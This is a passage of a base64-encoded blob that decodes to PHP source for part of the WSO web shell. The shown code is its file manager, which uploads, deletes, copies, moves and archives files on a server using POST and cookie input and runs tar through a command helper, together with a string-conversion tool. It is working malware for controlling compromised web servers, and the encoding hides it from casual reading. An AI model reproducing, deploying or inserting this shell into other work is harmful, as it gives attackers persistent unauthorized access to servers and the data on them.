VFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmls
ZSc6DQoJCQkJaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSdd
LCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpDQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7
DQoJCQkJYnJlYWs7DQoJCQljYXNlICdta2Rpcic6DQoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3Ay
J10pKQ0KCQkJCQllY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7DQoJCQkJYnJlYWs7DQoJCQlj
YXNlICdkZWxldGUnOg0KCQkJCWZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgew0KCQkJCQkkcGF0
aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGgg
ID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkg
IT09IGZhbHNlKSB7DQoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOw0KCQkJCQkJaWYgKCAoYmFz
ZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApDQoJCQkJ
CQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsNCgkJCQkJCWlmICgk
dHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOw0KCQkJCQkJZWxzZQ0KCQkJ
CQkJCUB1bmxpbmsoJGl0ZW0pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBy
bWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJ
CWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlm
KCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJ
CQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0
ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQli
cmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX0NPT0tJRVsnYWN0J10gPT0gJ2NvcHkn
KSB7DQoJCQkJCWZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGly
KCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMu
JHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJ
CQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3Rl
KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMp
KQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NP
T0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCRmLCAkR0xP
QkFMU1snY3dkJ10pOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsN
CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMu
JHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7
DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlp
ZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMu
JHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0K
CQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJ
RVsnZiddIGFzICRmKQ0KCQkJCQkJQHJlbmFtZSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1sn
Y3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgew0KCQkJ
CQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAo
JHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9y
ZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBj
b250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9D
T09LSUVbJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlw
LT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRv
ckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5
PT4kdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlw
LT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRp
cigkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNs
b3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0N
CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFz
c19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9
IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09P
S0lFWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5v
cGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snY3dkJ10pOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0g
ZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBj
aGRpcigkX0NPT0tJRVsnYyddKTsNCiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9
IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAg
ICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10p
IC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsNCiAgICAgICAgICAgICAgICAg
ICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9DQoJCQkJdW5zZXQoJF9DT09LSUVbJ2Yn
XSk7DQogICAgICAgICAgICAgICAgc2V0Y29va2llKCdmJywgJycsIHRpbWUoKSAtIDM2MDApOw0K
CQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NU
WydwMSddKSkgew0KCQkJCQlXU09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7DQoJCQkJ
CVdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsNCgkJCQkJV1NPc2V0
Y29va2llKCdjJywgQCRfUE9TVFsnYyddKTsNCgkJCQl9DQoJCQkJYnJlYWs7DQoJCX0NCgl9DQog
ICAgd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1j
b250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsNCgkkZGlyQ29udGVudCA9
IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2Qn
XSk7DQoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMg
Zm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQ0KCWdsb2JhbCAkc29ydDsNCgkkc29ydCA9
IGFycmF5KCduYW1lJywgMSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJaWYocHJl
Z19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ3AxJ10sICRtYXRjaCkpDQoJ
CQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOw0KCX0NCmVjaG8gIjxz
Y3JpcHQ+DQoJZnVuY3Rpb24gc2EoKSB7DQoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxl
bmd0aDtpKyspDQoJCQlpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykN
CgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNo
ZWNrZWQ7DQoJfQ0KPC9zY3JpcHQ+DQo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBj
ZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPg0KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9
cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdz
YSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNN
YW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0
aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRz
b3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdn
KFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2Rp
Znk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdn
KFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1p
c3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsNCgkkZGlycyA9ICRmaWxlcyA9
IGFycmF5KCk7DQoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7DQoJZm9yKCRpPTA7JGk8JG47JGkr
Kykgew0KCQkkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0p
KTsNCgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7
DQoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLA0KCQkJCQkgJ3BhdGgn
ID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sDQoJCQkJCSAnbW9kaWZ5JyA9PiBk
YXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRl
bnRbJGldKSksDQoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCdd
IC4gJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNb
J2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRv
d1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdncm91cCcgPT4g
JGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQoJCQkJ
CSk7DQoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJ
CQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsN
CgkJZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJ
CQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xp
bmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCgkJZWxzZWlmKEBpc19kaXIoJEdMT0JB
TFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkN
CgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsN
Cgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIp
IHsNCgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpDQoJCQlyZXR1cm4gc3RyY21w
KHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9C
QUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7DQoJCWVsc2UNCgkJ
CXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydz
b3J0J11bMV0/MTotMSk7DQoJfQ0KCXVzb3J0KCRmaWxlcywgIndzb0NtcCIpOw0KCXVzb3J0KCRk
aXJzLCAid3NvQ21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJ
JGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xh
c3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSIn
LnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMg
b25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxc
JycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hh
cnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4g
KGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxi
PlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3Rk
Pjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsn
dHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10u
Jy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9v
bHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZb
J3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9v
bHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+Ujwv
YT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNv
ZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmls
ZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxl
bmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xp
Y2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywg
XCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDoxOw0K
CX0NCgllY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h
IHZhbHVlPSdGaWxlc01hbic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAu
IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BP
U1RbJ2NoYXJzZXQnXTonJykuIic+DQoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0n
Y29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0
aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgaWYoY2xhc3NfZXhpc3Rz
KCdaaXBBcmNoaXZlJykpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJl
c3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwv
b3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6
KTwvb3B0aW9uPiI7DQogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRf
Q09PS0lFWydmJ10pKQ0KICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUg
LyBDb21wcmVzczwvb3B0aW9uPiI7DQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsNCiAgICBp
ZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgk
X0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkN
CiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9
J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0lFWydhY3QnXSA9PSAnemlw
Jz8nemlwJzondGFyLmd6JykgLiAiJz4mbmJzcDsiOw0KICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdz
dWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7DQoJd3Nv
Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KCWlmKCFmdW5j
dGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVj
YmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtm
dW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1
bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScn
O2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFsk
aSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkg
e2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRp
KSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9
fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxs
X3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUn
LmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rv
b2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdC
YXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJs
ZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNv
ZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGEx
IGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdj
cmMzMicsDQoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJ
JyA9PiAnaGV4MmFzY2lpJywNCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KCQknSEVYIHRv
IEJJTicgPT4gJ2hleDJiaW4nLA0KCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQoJCSdERUMg
dG8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KCQknQklO
IHRvIERFQycgPT4gJ2JpbmRlYycsDQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRv
bG93ZXInLA0KCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCgkJJ0h0
bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCgkJJ1N0cmluZyBsZW5ndGgn
ID0+ICdzdHJsZW4nLA0KCSk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3Nl
dGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9z
dGFydCgpOw0KCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpDQoJCQll
Y2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOw0KCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRF
bGVtZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVt
ZW50QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFs
Y2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJZWNobyBzdHJs
ZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQogICAgaWYoZW1wdHkoJF9QT1NU
WydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJV1NPc2V0Y29va2llKG1kNSgkX1NF
UlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgx
PlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZWNobyAiPGZv
cm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVs
bCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51
bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4g
ZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9v
bHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFy
cygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9
J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1
ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVj
a2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5
bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/
Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxw
